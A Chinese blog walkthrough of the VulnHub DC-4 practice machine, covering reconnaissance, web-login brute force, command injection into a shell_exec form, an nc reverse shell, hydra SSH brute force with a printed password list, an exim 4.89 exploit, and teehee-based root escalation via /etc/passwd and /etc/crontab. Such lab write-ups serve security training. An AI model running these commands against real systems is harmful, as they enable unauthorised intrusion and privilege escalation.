DC-4靶机

一.环境搭建

1.下载地址

靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

下载不下来用迅雷下载

2.虚拟机配置

切换为nat模式

开启靶机,遇到所有的错误直接点重试或者是,开启后呈现为下图即可

二.开始渗透

1.信息收集

老规矩,扫一下这个靶机的ip是多少

arp-scan -l

 用nmap扫一下开放端口和服务

nmap -p- -sV 192.168.111.132

 

开启了一个ssh和http服务,通过浏览器访问一下这个http服务

 开始还以为是sql注入,看了大佬的wp,直接暴力破解,那么我们也使用暴力破解来猜解密码,一般这种靶机的暴力破解的密码还是挺简单的,看到admin information,用户名我们直接锁定admin

打开burpsuite,抓包放到爆破模块去,这部分操作不会可以看pikachu靶场的操作,链接如下

pikachu靶场-暴力破解-CSDN博客

选中替换位置,导入字典,开始爆破(这个操作自己搞定吧)

账号密码爆破出来是admin/happy 

点进去看一下功能点,看到一个命令执行,ls,直接抓包尝试命令注入 

2.漏洞利用(获得shell)

抓包到如下的数据包,可以看到ls -l这个命令,我们就在此处进行命令注入

可以参考如下这篇文章

pikachu靶场-RCE_rce的无过滤-CSDN博客

执行一下cat command.php查看一下这个命令文件的代码 

数据包和代码如下,可以 

HTTP/1.1 200 OK

Server: nginx/1.15.10

Date: Sun, 24 Mar 2024 06:38:38 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 2522



<html>

<head>

<title>System Tools - Command</title>

<link rel="stylesheet" href="css/styles.css">

</head>



<body>

	<div class="container">

		<div class="inner">

		

			You are currently logged in<p>		

			<form method="post" action="command.php">

				<strong>Run Command:</strong><br>

				<input type="radio" name="radio" value="ls -l" checked="checked">List Files<br />

				<input type="radio" name="radio" value="du -h">Disk Usage<br />

				<input type="radio" name="radio" value="df -h">Disk Free<br />

				<p>

				<input type="submit" name="submit" value="Run">

			</form>

			

			You have selected: cat command.php<br /><pre><?php

	// You'd put this code at the top of any "protected" page you create

	// Always start this first

session_start();



if ( isset( $_SESSION['LoggedIn'] ) ) {

   	// Grab user data from the database using the user_id

	// Let them access the "logged in only" pages

} else {

 	// Redirect them to the login page

header("Location: index.php");

}

?>

<html>

<head>

<title>System Tools - Command</title>

<link rel="stylesheet" href="css/styles.css">

</head>



<body>

	<div class="container">

		<div class="inner">

		

			<?php

				//if ($_SESSION['LoggedIn']) {

				if (isset($_SESSION['LoggedIn'])) {

					echo "You are currently logged in<p>";

				}

				else

				{

					

				}

			?>

		

			<form method="post" action="command.php">

				<strong>Run Command:</strong><br>

				<input type="radio" name="radio" value="ls -l" checked="checked">List Files<br />

				<input type="radio" name="radio" value="du -h">Disk Usage<br />

				<input type="radio" name="radio" value="df -h">Disk Free<br />

				<p>

				<input type="submit" name="submit" value="Run">

			</form>

			

			<?php

			

				//if ($_SESSION['LoggedIn']) {

				if (isset($_SESSION['LoggedIn'])) {

					if (isset($_POST['submit'])) {

					if(isset($_POST['radio']))

						{

							echo "You have selected: ".$_POST['radio'] . "<br />";

							$my_cmd = $_POST['radio'];

							//echo $my_cmd;

							$output = shell_exec($my_cmd);

							echo "<pre>";

							print $output;

							echo "</pre>";

						}

					}

					echo "<p><a href='login.php'>Return to the menu.</a>";

				}

				else

				{

					echo "You need to be logged in to use this system.";

					echo "<p><a href='index.php'>Click to Log In Again</a>";

				}

			?>

			

		</div>

	</div>

</body>

</html></pre><p><a href='login.php'>Return to the menu.</a>			

		</div>

	</div>

</body>

</html>

 

可以看到他的执行函数为shell_exec,直接在kali端启一个端口监听反弹shell

在数据包中将命令替换为如下 

nc 192.168.111.128 4444 -e /bin/bash

在kali端启动端口监听

nc -lvvp 4444

 在做这步操作的时候,我靶机挂掉了一次,直接重启虚拟机即可

 获得到一个shell,用python启一个交互式shell

python -c 'import pty;pty.spawn("/bin/sh")'

在/home/jim/backups目录下看到备份密码的文件

3.密码爆破

000000
12345
iloveyou
1q2w3e4r5t
1234
123456a
qwertyuiop
monkey
123321
dragon
654321
666666
123
myspace1
a123456
121212
1qaz2wsx
123qwe
123abc
tinkle
target123
gwerty
1g2w3e4r
gwerty123
zag12wsx
7777777
qwerty1
1q2w3e4r
987654321
222222
qwe123
qwerty123
zxcvbnm
555555
112233
fuckyou
asdfghjkl
12345a
123123123
1q2w3e
qazwsx
loveme1
juventus
jennifer1
!~!1
bubbles
samuel
fuckoff
lovers
cheese1
0123456
123asd
999999999
madison
elizabeth1
music
buster1
lauren
david1
tigger1
123qweasd
taylor1
carlos
tinkerbell
samantha1
Sojdlg123aljg
joshua1
poop
stella
myspace123
asdasd5
freedom1
whatever1
xxxxxx
00000
valentina
a1b2c3
741852963
austin
monica
qaz123
lovely1
music1
harley1
family1
spongebob1
steven
nirvana
1234abcd
hellokitty
thomas1
cooper
520520
muffin
christian1
love13
fucku2
arsenal1
lucky7
diablo
apples
george1
babyboy1
crystal
1122334455
player1
aa123456
vfhbyf
forever1
Password
winston
chivas1
sexy
hockey1
1a2b3c4d
pussy
playboy1
stalker
cherry
tweety
toyota
creative
gemini
pretty1
maverick
brittany1
nathan1
letmein1
cameron1
secret1
google1
heaven
martina
murphy
spongebob
uQA9Ebw445
fernando
pretty
startfinding
softball
dolphin1
fuckme
test123
qwerty1234
kobe24
alejandro
adrian
september
aaaaaa1
bubba1
isabella
abc123456
password3
jason1
abcdefg123
loveyou1
shannon
100200
manuel
leonardo
molly1
flowers
123456z
007007
password.
321321
miguel
samsung1
sergey
sweet1
abc1234
windows
qwert123
vfrcbv
poohbear
d123456
school1
badboy
951753
123456c
111
steven1
snoopy1
garfield
YAgjecc826
compaq
candy1
sarah1
qwerty123456
123456l
eminem1
141414
789789
maria
steelers
iloveme1
morgan1
winner
boomer
lolita
nastya
alexis1
carmen
angelo
nicholas1
portugal
precious
jackass1
jonathan1
yfnfif
bitch
tiffany
rabbit
rainbow1
angel123
popcorn
barbara
brandy
starwars1
barney
natalia
jibril04
hiphop
tiffany1
shorty
poohbear1
simone
albert
marlboro
hardcore
cowboys
sydney
alex
scorpio
1234512345
q12345
qq123456
onelove
bond007
abcdefg1
eagles
crystal1
azertyuiop
winter
sexy12
angelina
james
svetlana
fatima
123456k
icecream
popcorn1

生成密码爆破的文件,用hydra进行ssh爆破

爆破ssh 通过目录可以得知用户名为jim


hydra -l jim -P passwd.txt -t 10 ssh://192.168.111.132

 

爆破出ssh的账号密码为jim/jibril04,进行登录

ssh jim@192.168.111.132

在登录后提示我一个邮件,查看邮件内容

给出了密码

Password is:  ^xHhA&hvim0y

切换 Charles用户

su charles
sudo -l

 查看一下可以执行的命令

 发现有能够以root执行的teehee命令,而teehee的作用是可以向文件中追加内容(这部分提权内容在其他标题下)

 4.权限提升

用find看一下root权限能执行的命令

可以看到一个exim4命令

 版本号为4.89

用漏洞搜索工具查看一下有哪些可以利用的提权漏洞

查看漏洞利用脚本的地址在哪 

searchsploit -p 46996

 将脚本拷贝到jim的账户下

scp /usr/share/exploitdb/exploits/linux/local/46996.sh jim@192.168.111.132:/home/jim

 执行46996.sh

./46996.sh

 成功提权为root

拿到最终的flag文件

三.其他

1.可以利用teehee命令写入/etc/passwd进行提权

teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

echo "mlws::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。

所以只需要执行su mlws就可以登录到mlws用户,这个用户因为uid为0,所以也是root权限 

成功提权

2.可以利用teehee命令写入/etc/corntab进行提权

这个工具还有通过向定时任务/etc/crontab写入进行提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

表示在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限)

也是成功进行提权 

  • 30
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值